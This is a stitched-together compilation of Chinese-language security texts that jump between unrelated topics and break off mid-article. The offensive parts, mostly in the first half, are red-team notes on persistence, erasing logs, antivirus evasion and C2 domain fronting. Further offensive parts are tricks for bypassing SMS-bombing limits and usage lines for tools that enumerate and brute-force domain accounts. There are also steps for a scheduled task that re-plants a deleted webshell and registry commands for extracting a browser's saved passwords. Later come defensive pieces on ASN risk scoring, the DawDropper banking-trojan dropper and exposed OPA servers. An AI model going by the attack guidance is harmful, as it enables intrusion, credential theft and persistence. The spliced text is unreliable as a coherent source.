linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行
  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]
之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......

0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]

  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...
  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...
  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理

web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架

CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具

菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗

  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...
  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药
  • 流量:
域前置[利用大厂cdn]
工具参考:
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具:
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]

在测试甲方业务或者挖 SRC 等业务的时候,经常碰到发送短信验证的地方,我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞, 简单的漏洞也是需要清晰的思维分析,拿几个短信轰炸多个绕过案例分享,高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染,就是说后台发送短信的时候会取数字那部分,当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验:nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢, 大概因为后台校验了第一个变量的内容都当成了值处理,但是当数据包在传递到后台过去的时候,如果参数名是一样的时候,是会以第二个、第三个、第四个…最后那个参数为基准去传递,因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数,但是后台没有对传递的手机号码做校验长度,比如123=0123=00123,通过该方法来进行一个手机号码的绕过: 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态,通过修改这个状态可以来绕过系统的限制,如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药,校验用户的凭证放在了 cookie 中,通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信:dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数,但是数据库没有限制字段长度为 11,通过添加空格绕过了原有的校验,但是后台发送号码的时候,取有效字符前面的字段,导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后,加入了验证码的校验,但是验证码在发送的时候抓包不放行, 验证码不会失效,引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话, 一般是前台输入手机号码, 发送请求 1 到后台判断是否可以执行发送请求
2, 否的话返回 
False 或者 error, 成功的话返回一个 true 或者 success, 只要找到返回的这
个接口, 说不定也可以找到这种漏洞。

0x01. NetLocalGroupGetMembers

功能:查询目标服务器本地管理组的成员

yzegalkkkhi14138.png

0x02. NetLocalGroupEnum

功能:返回指定服务器上的所有本地组

imlxc0xa5ru14140.png

0x03. NetGroupGetUsers

功能:返回指定服务器指定组的所有成员

查询域里的各个组里的成员,IP必须是域控IP

ynhubimtp4x14141.png  

0x04. NetUserEnum

功能:查询目标服务器所有用户,包括隐藏用户

ffaz2awy0uq14150.png

dqdofqwy3fs14151.png  

0x05. wnetaddconnection2a

功能:建立IPC连接,可以将目标共享目录映射到本地磁盘

upvtn00hlew14152.png

0x06. WNetCancelConnection2

功能:删除IPC连接

bq5n0fpdrf214153.png

0x07. EnuDomainUser

功能:枚举域用户

1. 介绍

适用于:当前边界机器权限是工作组机器,通过nltest或者nbtscan等工具发现内网有域环境,并且找到域控IP,但是没有域用户的权限下渗透思路。

前提条件:能够和域控建立空连接

实现原理:域管默认都会有administrator用户,通过windows api查出administrator域管的SID,然后遍历SID范围,枚举出域成员(域用户和域机器)。

SID范围:域用户和域机器的SID一般是1000以上,所以使用工具的时候遍历1000以上的SID

2. 工具使用

使用帮助:

C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目

使用demo:

EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100

参数解释:

192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点,例如10000,20000等
100           是多线程的数目

0m0mghaayrh14154.png

dsa3tj1ayo514155.png  

0x08. BlastDomainUserPwd

功能:爆破域用户密码

1. 介绍

通过IPC连接->爆破域用户的密码

结合EnuDomainUser工具或者kerbrute工具获取域用户名列表,然后进行爆破

如果被360杀,改一下exe名字即可

设计思路:

  1. 如果能够和域控建立空连接,则用EnuDomainUser工具枚举遍历出所有域用户名
  2. 如果不能够和域控建立空连接,则用kerbrute工具爆破域用户名

当获取到一批域用户名后,开始尝试域用户密码的弱口令爆破

域用户密码有强度要求,则尝试爆破强弱口令。例如:P@ssw0rd、1qaz@WSX等

2. 工具的使用

Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

域用户名字典格式规范:域名\域用户名

domain\user

u5mtfuyta0d14156.png  

运行实例: BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3

vx4he3loyxl14157.jpg

成功爆破出的域用户密码保存在当前目录的success.txt文本里

 

nbjejvdrnia14158.png  

 

0ctkx5pp2jx14159.png

0x09. SchtaskBackDoorWebshell

功能:计划任务维持webshell

1. 适用场景:

护网中被防守方发现webshell,并清除出去,漏洞也被修复,然后网站恢复后不能再上传webshell时,通过计划任务重写webshell。

2. 条件:

管理员权限,因为创建计划任务得需要管理员权限

3. 使用方法:

xxxx.exe c:\wwww\upload\1.jsp

4. 实现过程:

将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里,然后创建了一个计划任务,执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp,每半小时触发一次。

5. 视频展示:

xfsfunuruwv14173.gif

0x10. regeditBypassUAC

功能:过uac执行exe,编译好的exe只适用于win10,win7不行

1. 具体过程

基于白名单程序注册表bypassUAC

2. 视频演示

2oyjf5vellk14180.jpg  

0x11. delegationVul

功能:检测内网域的约束委派

1. 约束委派利用

约束委派利用

2. 视频演示

a1q0ww0ews114185.jpg

3. 基于资源的约束委派利用

基于资源的约束委派利用

4. 视频演示

 

xbsxv5xw5os14188.jpg  

 

0x12. 360SafeBrowserDecrypt

功能:

直接在目标机器上运行,但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db
ztikat1xwjk14193.png
结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具: 链接:https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA 提取码:ryzx

ep4isrda0gd14205.jpg

分析文章:动态调试360安全浏览器获取密钥

 

原文链接: https://github.com/SkewwG/domainTools         hh4wm2qszqa14206.jpg

 

 

在互聯網中,一個自治系統(AS)是一個有權自主地決定在本系統中應採用何種路由協議的小型單位。這個網絡單位可以是一個簡單的網絡也可以是一個由一個或多個普通的網絡管理員來控制的網絡群體,它是一個單獨的可管理的網絡單元(例如一所大學,一個企業或者一個公司個體)。一個自治系統有時也被稱為是一個路由選擇域(routingdomain)。一個自治系統將會分配一個全局的唯一的號碼,有時我們把這個號碼叫做自治系統號(ASN)。通過自治系統號(ASN)預判攻擊發生的可能性是出於以下7個方面的考慮:

1.利用Akamai(一家網路安全公司)對互聯網趨勢和活動的廣泛了解,Akamai研究人員一直在分析自治系統號(ASN),以評估大量互聯網的風險。

2.ASN包含受管理的ISP、雲計算公司、跨國集團以及小型組織的IP地址池。

3.這些ASN的各種特徵(包括其註冊位置、提供商類型以及管理ASN中IP使用的策略)可能會影響攻擊者被發現使用這些ASN中的IP的可能性。

4.了解ASN的惡意性可以讓安全從業人員對任何給定IP的風險做出更明智的預測,即使它不是已知的威脅。

5.惡意ASN更有可能包含用於託管網絡釣魚網站、惡意文件、殭屍網絡和掃描程序的IP。 “可能的惡意”ASN表示遇到惡意IP的概率為七分之一或更高。

6.對流量的分析表明,“可能的惡意”ASN佔所有在線IPv4地址的不到2%,但它們接收的互聯網流量超過5%。

7.此外,“潛在惡意”類別中的ASN在互聯網上所有IPv4地址中的佔比不到5%,但它們接收的互聯網流量卻超過18%,這表明惡意和合法流量可以由同一個ASN提供服務。

IP智能化有很多用途:例如,防火牆或DNS查詢後阻止。基於IP預先確定“通過/不通過”的能力是一項重要的防禦措施。

Akamai安全研究人員利用Akamai對在線流量的廣泛可見性,創建了在線ASN的全面映射,以評估惡意地址出現在ASN中的可能性。在這篇文章中,我們將詳細介紹ASN,以及ASN對風險評估可能產生的影響。我們還將檢查惡意ASN等。

風險評估現狀由於動態IP、CDN和託管服務的存在,基於IP的阻止可能是非常危險。個人和組織可能會受到不同程度的影響。例如,錯誤地屏蔽一個社交媒體網站的IP可能只會讓一名員工感到無所適從,影響正常工作。

在更大的範圍內,阻止來自CDN或託管服務的單個IP可能會導致阻止數千個網站。我們以白名單的形式提供保護以避免這些極端情況,但必須要注意,某些用例可能會優先考慮更廣泛的威脅保護而不是誤報。綜上所述,此種策略的弊端太大。

不過Akamai可以通過大量數據輸入來解決上述弊端,例如:

Akamai Intelligent Edge Platform上通過IP發起的攻擊;

每天來自數十億次DNS查詢的檢測;

IP流行度源自每天數十億的DNS查詢;

其他形式的內部和第三方情報;

有多個來源,包含數百萬IP的正面(合法IP)和負面(惡意IP)證據。我們需要結合這些資源為每個IP創造一個分數。為此,我們採用貝葉斯方法,其複雜性在於確定每個源的權重。這樣做的目的是建立一個更全面的風險評估,考慮到不同的來源。分數越高,負面證據就越多。分數越低,惡意證據就越少,或者正面和負面證據混合在一起。根據應用程序的不同,可以選擇一個閾值來實現誤報和真實所需的平衡。這比典型的基於IP的風險評估更進了一步,在這種評估中,了解ASN的力量及其可能產生的影響勢在必行。

什麼是自治系統?簡而言之,自治系統就是互聯網的構建方式。每個自治系統都映射到一個數字,因此我們通常說ASN(自治系統號)。每個ASN都有一個IP池,每個ASN負責使用邊界網關協議(BGP)在其網絡內路由流量並通過Internet與其他ASN通信。

在這篇文章中,我們只聚焦IPv4,其中包括大約7萬個自主系統。

ASN可以以不同的方式進行分類,以了解它們在互聯網上的位置。例如,“從多個優勢點描述互聯網層次結構https://ieeexplore.ieee.org/abstract/document/1019307”查看BGP表,從商業角度對ASN的角色進行分類。 “使用深度學習揭示自治系統之間的關係類型https://ieeexplore.ieee.org/document/9110358”使用深度學習來理解ASN之間的關係類型。要了解ASN背後的組織,我們可以查看“揭示自治系統分類法:機器學習方法https://arxiv.org/abs/cs/0604015”,它試圖將ASN自動分類為大型ISP、小型ISP、大學、互聯網交換點和網絡信息中心。最近,在“BGP2Vec:揭示自治系統的潛在特徵https://ieeexplore.ieee.org/abstract/document/9761992”中使用了word2Vec樣式的模型,將ASN分類到應用互聯網數據分析中心的交通/訪問、內容、教育/研究和企業類別中。

ASN大小讓我們看看前10個最大的ASN的IPv4地址池大小(表1)。最大的ASN歸美國國防部網絡信息中心所有。名單上的其他公司包括大型ISP、雲計算公司和跨國企業集團。我們排除了ASN 0,因為它是用來識別不可路由網絡的。

1.png

按IPv4地址池大小排列的前10個最大的ASN

下圖進一步顯示了這10個ASN的影響。前10個ASN約佔分配的IPv4地址空間的25%。相比之下,只有16%的IPv4地址空間分配給前1000個之外的69000個ASN,因此互聯網流量中存在類似於域或IP的ASN的長尾。這是分配給相對較小百分比的大量互聯網。這是我們在確定有效的ASN風險評估時必須考慮多個數據輸入的部分原因。正如你將在本文後面了解到的那樣,並非所有ASN都是平等的。

2.png

ASNIPv4地址池大小占全部IPv4地址池的百分比

地理位置位置在真正理解ASN方面也起著重要作用。為了詳細說明這一點,我們構建了一個散點圖,其中包含與每個國家/地區關聯的ASN數量與這些ASN的IP池大小的關係。

3.png

與每個ASN關聯的國家與這些ASN的IP池大小

在前10大ASN中,美國有6個,在IP總數和ASN總數方面均領先。緊隨美國之後的是:巴西、英國、丹麥、印度和俄羅斯。繼續向左移動一點,我們可以看到中國、日本和韓國的ASN數量要少得多,但其數量比巴西和俄羅斯等國要多。考慮到我們所知道的前1000名ASN和其他69000名之間的差距,當遇到某個國家的IP並為其創建風險評估時,可能會面臨一些獨特的挑戰。

例如,對於ASN數量較少但IP較多的國家/地區,惡意IP更有可能與合法IP在同一個ASN中,這意味著在僅基於ASN的阻止時可能更難以避免誤報。使用AkamaiDNS數據,我們看到與中國ASN相關的所有已解析IP均來自383個ASN,而俄羅斯則為2311個。因此,在中國和俄羅斯阻止ASN的影響,就不能採用同一種方法了。例如,在中國屏蔽整個ASN會佔用整個互聯網部分,而在俄羅斯屏蔽整個ASN會佔用更少的資源。這就是為什麼我們不能完全避免僅僅基於IP的風險評估,以及為什麼我們在創建接下來討論的ASN風險評估時必須考慮到了這一點。

ASN風險評估4.png

我們對ASN信譽的定義很簡單:一個ASN的信譽衡量的是該ASN中任何給定的活躍IP被惡意攻擊的概率。

為了計算這個概率,我們擴展了貝葉斯方法,如前所述,將每個IP的分數和權重向上輸入到它們所屬的ASN。 Akamai數據用於估計ASN中活躍IP的數量。當我們對每個ASN的多個IP進行聚合時,我們希望我們的ASN信譽計算能夠受益於大數定律,從而計算出最準確的風險評估。例如,如果一個ASN有兩個IP,有30%的機率是惡意的,那麼兩個IP都是惡意的機率都很高,因此可以評估ASN本身是沒有惡意的。這與擁有1000個IP的ASN形成了鮮明的對比,所有的惡意可能性為30%。在這種情況下,可以推斷出該ASN中30%的IP實際上是惡意的,這使得它們比第一個示例中明顯更危險。

跟踪我們不知道的內容以及我們數據中存在的偏差非常重要。將會有我們擁有大量數據的ASN,以及數據很少的ASN。為了盡可能地解決這個問題,我們需要記錄證據數量,它反映了我們擁有的數據量,也可用於計算可能的ASN風險評估值的分佈。從本質上講,我們認為是良性的IP與我們知道是良性的IP(甚至是我們知道是惡意的IP)之間存在顯著差異。當我們擁有較少的數據時,我們可能會假設風險評估較低,但在這種情況下,我們也會記錄較低的證據數量以將結果置於上下文中。在做出有關ASN的決定時,應使用這兩個數字。

ASN風險評估情況下圖顯示了根據池大小的日誌繪製的每個ASN的風險評估。我們看到,隨著風險評估越來越差,ASN的池規模不太可能大。為了更容易理解這些信息,我們將ASN信譽分為四組:

良性:ASN內部發生惡意活動的機率極低;

可能是良性的:主要是良性的,ASN內發生惡意活動的可能性相對較低;

潛在惡意:應謹慎行事,大部分是良性的,但可以檢測到一些惡意活動;

可能惡意:應謹慎或避免,惡意活動與良性的比率表明ASN主要是惡意的或對惡意活動缺乏足夠的控制。

5.png

針對IP地址池大小繪製的每個ASN的風險評估

IPv4地址空間排名前10位的ASN都位於上圖右下角。這意味著他們大多數都有良好的信譽,只有少數例外。圖中突出顯示了異常值的ISP、移動網絡運營商(MNO)和託管服務提供商。與類似的大型ASN相比,它們具有更高的風險評估。數據顯示,這是由各種威脅類型驅動的。似乎有一些潛在的因素使這些ASN的風險更高。我們還必須記住,與這些非常大的ASN相比,惡意活動的相對數量很小,較小的ASN風險更大。

上圖出現的AkamaiASN都具有“良性”風險評估。但是,是什麼讓一個CDN比另一個更具風險呢?這可能是因為攻擊者的進入門檻較低,例如監控效果較差或控制較少。

我們還在上圖中突出了兩組總共13個ISP/MNOASN,可以看出它們的風險評估明顯更高。當我們更深入地觀察時,我們大多會看到來自這些ASN的殭屍網絡和掃描活動的混合。我們可以推測這些ASN更容易受到惡意軟件感染。

當我們繼續向圖的左上角移動時,我們會看到ASN長尾中具有各種威脅類型的風險部分。通常,我們會看到IP地址被用於託管惡意活動,如釣魚網站、惡意文件或掃描程序。在某些情況下,我們能夠看到TOR網絡出口節點,這可能是惡意活動的代理。

在線流量中的風險ASN到目前為止,我們已經從IP空間的角度查看了ASN風險評估,但是從在線流量角度來看,有風險的ASN出現的頻率是多少?下圖中顯示了一天中AkamaiDNS流量的變化,其中包含大約600億次查詢。總共76.6%的查詢來自“良性”和“可能良性”類別的ASN,18.1%來自“潛在惡意”類別,進一步強調合法和非法服務可以從同一個ASN運行。這些DNS查詢中共有5.3%解析為來自ASN的IP,其風險評估屬於“可能惡意”類別,這表明在高度鎖定的用例中,基於ASN的阻止的潛力在於識別真正的風險而不是避免誤報。

6.png

一天中Akamai DNS流量的變化

採取IP來預測攻擊風險就是要精準控制,即精度是最大的問題,希望盡量減少被阻止的合法服務的數量。在其他情況下,例如,在高度控制的環境中,減少誤報的比率很重要。

在沒有ASN信譽背書的情況下,我們在查看證據之前的假設是,所有IP都是合法的。 ASN信譽解鎖了對這些先前假設採取分層方法的能力。如果該IP的ASN非常糟糕,這可以作為我們預測攻擊風險發生的起點,我們可以在收集更多證據時更新我們的數據。 ASN中其他IP的得分會影響該IP的最終得分,並可能影響其是否被阻止。

阻止整個ASN在高度鎖定的環境中,可能需要根據其信譽來阻止整個ASN。由於ASN的信譽是不斷評估的,這個列表不需要是靜態的。隨著信譽的下降,新的ASN將被自動添加。同樣,當我們看到ASN威脅較小的證據時,可以放寬阻止。

總結在討論風險評估時,總會存在細微差別,但ASN風險評估有可能徹底改變安全行業。就像安全的所有其他方面一樣,沒有靈丹妙藥,每個組織都必須做出最適合其環境的決策。但是,超越僅基於IP的風險評估方法的能力允許在你的允許列表和阻止列表中採用更主動的防禦模型。

我們會在本文介紹一種名為DawDropper的銀行木馬滴管,並詳細說明了其與深層網絡中的DaaS相關的網絡犯罪活動。

今年,攻擊者通過惡意下載程序偷偷地將越來越多的銀行木馬添加到GooglePlay商店,這證明這種技術可以有效地逃避檢測。此外,由於對傳播移動惡意軟件的新方法有很高的需求,一些攻擊者聲稱他們的滴管可以幫助其他網絡犯罪分子在GooglePlay商店上傳播他們的惡意軟件,從而產生了滴管即服務(DaaS)模型。

早在2021年下半年,就有研究人員發現了一個惡意活動,該活動使用了一種新的dropper變體,我們稱之為DawDropper。 DawDropper以JustIn:VideoMotion、DocumentScannerPro、ConquerDarkness、simpliCleaner和UniccQRScanner等多個Android應用為幌子,使用第三方雲服務FirebaseRealtimeDatabase來逃避檢測並動態獲取有效載荷下載地址。它還在GitHub上託管惡意負載。截至報告時,這些惡意應用程序已不再在GooglePlay商店中提供。

1.png

DawDropper以前在GooglePlay商店中可用的惡意應用程序

我們觀察到新的DawDropperdropper的技術細節,查看了2022年初發布的使用惡意滴管銀行木馬的簡史,並在這篇文章中討論了與暗網中的DaaS相關的網絡犯罪活動。

DawDropper技術分析根據我們的觀察,DawDropper的變體可以釋放四種類型的銀行木馬,包括Octo、Hydra、Ermac和TeaBot。所有DawDropper變體都使用Firebase實時數據庫(一種用於存儲數據的合法雲託管NoSQL數據庫)作為其命令和控制(CC)服務器,並在GitHub上託管惡意負載。

2.png

DawDropper感染鏈

3.png

託管Octo有效負載的GitHub存儲庫

4.png

託管Ermac有效負載的GitHub存儲庫

5.png

託管Hydra有效負載的GitHub存儲庫

Clast82和DawDropper之間的相似之處有趣的是,我們發現CheckPointResearch在2021年3月報告的另一個名為Clast82的dropper也使用Firebase實時數據庫作為CC服務器。

6.png

從CC服務器獲取的數據格式

DawDropperCC服務器返回的數據類似於Clast82數據:

7.png

DawDropperCC服務器響應

8.png

另一個DawDropper變體的CC服務器響應,添加了安裝指標和安裝新更新的提示

Octo有效載荷DawDropper的惡意負載屬於Octo惡意軟件家族,這是一種模塊化和多階段的惡意軟件,能夠竊取銀行信息、攔截短信和劫持受感染的設備。 Octo也稱為Coper,歷史上一直用於針對哥倫比亞的網上銀行用戶。

根據我們的分析,DawDropper的Octo惡意軟件負載與之前報導的變體相似。該數據包使用編程語言關鍵字來混淆惡意功能。

9.png

2022年3月和6月部署的同類型Octo有效載荷包

一旦Octo惡意軟件在受害者的設備中成功啟動並獲得主要權限,它將保持設備喚醒並註冊預定服務以收集敏感數據並將其上傳到其CC服務器。它還使用虛擬網絡計算(VNC)來記錄用戶的屏幕,包括銀行憑證、電子郵件地址和密碼以及PIN等敏感信息。該惡意軟件還通過關閉設備的背光並關閉設備的聲音來隱藏攻擊,從而導致用戶的屏幕變黑。

10.png

Octo惡意軟件感染鏈

該惡意軟件還可以禁用GooglePlayProtect(通過設備的應用程序並檢查攻擊)並收集用戶數據,包括受感染手機的AndroidID、聯繫人列表、已安裝的應用程序,甚至是短信。

2022年初的迭代史為了更好地理解銀行木馬通過惡意dropper傳播的趨勢,我們必須回顧自2022年初以來,滴管是如何在GooglePlayStore上出現的,分析這些滴管如何彼此不同和演變,並了解網絡犯罪分子是如何傳播他們。

11.png

2022年上半年通過滴管傳播的銀行木馬時間線

銀行滴管之間的主要區別儘管這些銀行滴管的主要目標是相同的,即在受害者的設備上傳播和安裝惡意軟件。但我們已經觀察到,這些銀行滴管在實現惡意程序的方式上存在顯著差異。例如,今年早些時候出現的銀行滴管具有硬編碼的有效載荷下載地址。同時,近期上線的銀行滴管往往會隱藏負載的實際下載地址,有時會使用第三方服務作為CC服務器,還會使用GitHub等第三方服務託管惡意負載。

12.1.png

12.2.png

12.3.png

12.4.png

Vulturdropper(SHA-256:00a733c78f1b4d4f54cf06a0ea8cc33604512d6032ef4ef9114c89c700bfafcf),又名Brunhilda,於2020年底首次被報導為DaaS。 2022年1月,我們觀察到它直接在受感染設備上下載惡意負載,並有自己的方法解密惡意載荷。

13.png

Vulturdropper的下載文件

14.png

Vulturdropper的惡意負載解密進程

同樣於2022年1月發布的Sharkbot滴管(SHA-256:7f55dddcfad05403f71580ec2e5acafdc8c9555e72f724eb1f9e37bf09b8cc0c)具有獨特的行為:它不僅充當滴管,還請求訪問權限並響應所有用戶界面(UI)事件受感染的設備。

15.png

Sharkbotdropper的請求服務器

16.png

Sharkbotdropper從響應中獲取下載URL

與此同時,2022年4月發布的TeaBotdropper使用GitHub託管其惡意軟件負載。但是,TeaBot使用另一個GitHub存儲庫來獲取下載地址,而DawDropper則使用Firebase實時數據庫。

DaaS暗網活動在對使用滴管的銀行木馬的調查中,我們觀察到,2021年首次報告的其中一個滴管是Gymdrop,它連接到網絡一個攻擊者可以用來管理的管理面板(trackerpdfconnect[.]com和smartscreencaster[.]online)滴管和有效載荷。我們還發現Gymdrop在一個暗網論壇上被宣傳為典型的DaaS。

17.png

Hydradropper的Gymdrop管理面板

18.png

2022年2月地下論壇中的Gymdrop管理面板登錄頁面

安全建議攻擊者不斷尋找逃避檢測和感染盡可能多設備的方法。在半年的時間裡,我們已經看到銀行木馬如何改進其技術進程以避免被檢測到,例如將惡意負載隱藏在滴管中。隨著越來越多的銀行木馬通過DaaS獲得,攻擊者將有一種更簡單、更經濟高效的方式來傳播偽裝成合法應用程序的惡意軟件。我們預計這種趨勢將繼續下去。用戶應採用以下安全安全措施:

始終檢查應用評論,看看用戶是否表達了不尋常的擔憂或負面體驗。

在調查應用開發商和發行商時進行盡職調查,避免從看起來可疑的網站下載應用程序。

避免安裝來歷不明的應用程序。

移動用戶可以通過使用移動安全解決方案實時掃描移動設備並按需檢測惡意應用程序或惡意軟件以阻止或刪除它們,從而幫助最大限度地緩解這些欺詐性應用程序帶來的威脅。這些應用程序適用於Android和iOS。

本文會介紹OPA 以及它的用途,並結合已發現的案例來說明通過Shodan 識別389 個暴露的OPA 服務器後發現了什麼,以及暴露的OPA 如何對用戶的應用程序的整體安全性產生哪些負面影響。

今年早些時候,趨勢科技發布了一份關於通過Shodan 發現243469 個暴露暴露的Kubernetes 節點的報告。另外,研究人員還發現了389 個易受攻擊的開放策略代理(OPA) 服務器。 OPA 是一個開源的雲本地計算基金會(CNCF) 項目,使用Go 編程語言開發,目前已被用作許多策略執行工具的主引擎,迄今為止下載量超過1.3 億次。它使用稱為Rego 的特定聲明性策略語言來設計其策略。 OPA 可用於各種系統和環境,例如Kubernetes、微服務、API 網關和其他雲本地工具。如果OPA服務器不受保護,它們的策略可能會洩露敏感的應用程序信息,包括用戶配置文件和正在使用的服務。這些暴露的策略還可能無意中洩露關於系統應該如何工作的信息,以繞過對已實現策略的限制,攻擊者可以利用這些限制進行攻擊。

Fig1_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

OPA 架構概述

這篇文章討論了研究人員在通過Shodan 識別出數百個暴露的OPA 服務器後發現的問題,以及暴露的OPA 如何對你的應用程序的整體安全性產生負面影響。

策略即代碼(PolicyAsCode)的需求Policy As Code本質上都是讓原來對Policy 描述抽象成代碼,從而擁有代碼的特性(復用性、抽象性、可執行、可測試、版本化等),以此來獲得更高層次的抽象。

在當今包含sprint、scrum、container、DevOps 和DevSecOps 以及雲的運行環境中,如果不使用自動化,網絡、安全和合規團隊很難跟上開發團隊和業務需求。這就是為什麼基礎設施即代碼(IaC)、GitOps 和安全即代碼(SaC) 等方法在保護雲環境和微服務方面變得必不可少的原因。所有這些方法共同實現雲安全,目的就是幫助在流程和部署開始時集成安全性,以防止威脅和風險。

